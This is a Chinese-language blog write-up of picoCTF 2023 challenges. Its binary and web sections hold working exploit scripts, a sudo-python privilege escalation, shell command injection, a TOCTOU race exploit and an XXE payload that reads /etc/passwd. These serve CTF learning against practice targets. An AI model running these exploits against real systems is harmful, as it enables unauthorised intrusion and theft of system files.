picoctf2023

发布时间 2023-04-03 20:30:58作者: Tw0^Y

Forensics

FIndAndOpen

一个流量包和一个flagzip。流量包里面看到半截flag。

image-20230316211024685

base解码可以看到。

image-20230316211042604

然后用这半截作为密码打开zip。。。。。(这我是真sb,想不到

image-20230316211123091

PcapPosoning

直接搜索

image-20230317093817244

hideme

分离出图片中的压缩包就能看到

image-20230317093916128

MSB

根据题目名字,一眼顶针。stegsolve提取出msb下的7bit数据转储为txt。

image-20230319001724189

直接获得flag

image-20230319001751795

who is it

根据题目hint,利用whois查询ip得到注册人name

image-20230320092338082

邮件里面找到发送ip

image-20230320104140053

whois查询到注册人名称

image-20230320104238582

Binary Exploitation

babygame1

partial overwrite的类型。main函数中,只要覆盖v6位置,让v6不为零即可getflag。

image-20230317165219291

漏洞在move_player函数中。可以根据v4数组和v5指针实现任意一个字节的赋值。

在stack中v4数组和v5以及v6的顺序如下,可以很简单的覆盖。

image-20230317165808752

exp

from pwncy import *
import time
context(arch = "i386")
p,elf,libc = load("game",ip_port = "saturn.picoctf.net:52346")
debug(p,'no-tmux',0x08049233)

sl(b"l\x01")
pause()
sl(b"w" * 4)
sl(b"a" * 8)
sl(b"p") #输入p即可直接通关
itr()

two_sum

题目只给出了源c代码,程序需要自己编译。漏洞就是基本的int类型溢出。输入两个0x7f000000,求和就会溢出。就不赘述了。

from pwncy import * 
p = process("1")
sl(str(0x7f000000))
sl(str(0x7f000000))
itr()

babygame02

类似于babygame01,但是需要我们overwrite move_player函数的ret地址。

  • 因为下面的move_player函数会先将目的地址覆盖成0x2e的,再覆盖成我们设置的player_tile的值。因此只能控制一个字节数值。所以要覆盖ret的低字节。

image-20230317164540506

这里要注意,打远程的时候需要覆盖ret的最低字节为"\x79",也就是输入字符"y"。如果覆盖"\x5d"的地址,目前还不知道为什么不行

image-20230317164325800

exp

from pwncy import *

context(arch = "i386")
p,elf,libc = load("game",ip_port = "saturn.picoctf.net:51146")
win_addr = 0x0804975D
debug(p, 0x8049674,0x8049704)
sl(b"l\x09")
sl(b'd' * 0x2f)
s(b"w" * 0x5)
sl(b"ly") #0x79
# sl(b"l]") #0x5d
itr()

本题感谢一下@ZIKH26师傅的帮助。

hijacking

linux的基础提权题目。首先查看可以越权使用的命令

sudo -l

image-20230317170021298

再看我们对.server.py文件有什么权限,只读权限。

image-20230317170157706

根据前面的sudo可以知道,我们可以使用root权限下的python3命令。因此伪造一个.server.py文件并执行bash来进行提权

# /usr/bin/python3 /home/picoctf/.server.py
import os
os.system("/usr/bin/bash")

执行后成功提权。

image-20230317171140945

在/root下找到.flag.txt文件

image-20230317171235259

VNE

一个二进制文件bin,可以展示文件夹目录,相当于root权限下的ls命令。考的知识点也就是linux的shell命令拼接。

题目给出的hint,这里展示一下:

hint1: Have you checked the content of the /root folder

hint2: Find a way to add more instructions to the ls

下面是过程。首先直接执行bin文件

image-20230317205330841

预计这个程序是通过读取用户环境变量来显示dir的,那么就export下环境变量

export SECRET_DIR='/root'

image-20230317205609019

可以看到,bin程序应该是以root权限执行了ls的命令,那么命令拼接一下就能cat flag,也可以提权。

image-20230317205806954

拼接了bash之后,就提升到了root权限。

image-20230317205730547

tic-tac

toctou条件竞争

题目源码


#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
    return 1;
  }

  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;

  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  }

  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  }

  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  }

  return 0;
}

toctou--条件竞争

首先是toctou攻击,需要利用原子操作反复修改文件名,伪造打开文件的uid

//gcc exp.c -o attack
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}

利用上面的原子操作对tmp下的文件进行交换,从而成功getflag

image-20230317222942742

攻击理解

程序会先调用stat函数根据输入的文件名称来获取到文件属性的stat结构体,接着根据stat结构体中的uid判断文件的所有者,如果程序运行者和文件所有者的uid相同则输出文件内容。

在上面的程序流程中,获取文件属性和真正打开文件这两个操作是不能在同一个时间完成的,两个操作中间有个时间差。可以利用这个时间差来进行攻击。

我们在tmp目录下创建了两个文件my(flag的链接文件)A(属于ctf-player的空文件),让A和my两个文件的inode不停的进行交换。

ls -il A my //可以查看两个文件的incode信息

txtreader ./tmp/my 读取my链接文件的时候,因为原子操作极快,A和my两个文件在不停的进行交换。此时可能实际stat的是A文件,A文件本来就是属于我们的,可以绕过程序的初步检查。而在后面open my文件是,又变成了真正的my文件,从而读取出flag。

  • 如果不创建my这个链接文件的话,因为flag的文件是属于root的,我们无法对其进行操作;另外仅有一个链接文件的话,打开的实际上也是flag文件,并不能绕过检查。

web exploitation

findme

输入名称看到hint,再进行抓包,查看post和get里面的base64码,就可以得到flag

MatchTheRegex

根据元素里面的提示,需要利用fetch进行匹配。查看jsp的fetch函数使用方式

image-20230321215749132

需要利用fetch匹配到相应的资源才能够访问。因为hint是对picoCTF的匹配,所以提交正则表达式picoCTF!?即可

image-20230321215609731

SOAP

基础的XXE攻击,利用系统解析xml文件的漏洞进行攻击。利用XXE获取系统passwd文件 - 知乎 (zhihu.com)

poc如下

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

根据poc修改出payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE c [
 <!ENTITY file SYSTEM "/etc/passwd">
]>
<data>
<ID>1;&file;</ID></data>

proxy注入payload后查看远程本地passwd文件获得flag

image-20230321230123646

赛后复现(部分

Invisible WORDs

010查看bmp文件,找到间隔的压缩包数据。

image-20230403193947836

手动去掉多余的头部,剩下用脚本提取zip数据

fp = open(r"output.bmp",'rb')
data = fp.read()
tmp = [data[index:index + 2] for index in range(0,len(data),4)]
res = b"".join(tmp)
fp.close()

with open("1.zip",'wb') as f:
    f.write(res)

打开zip可能会有报错,直接无视。在zip里面的文件中搜索找到flag。

image-20230403194811771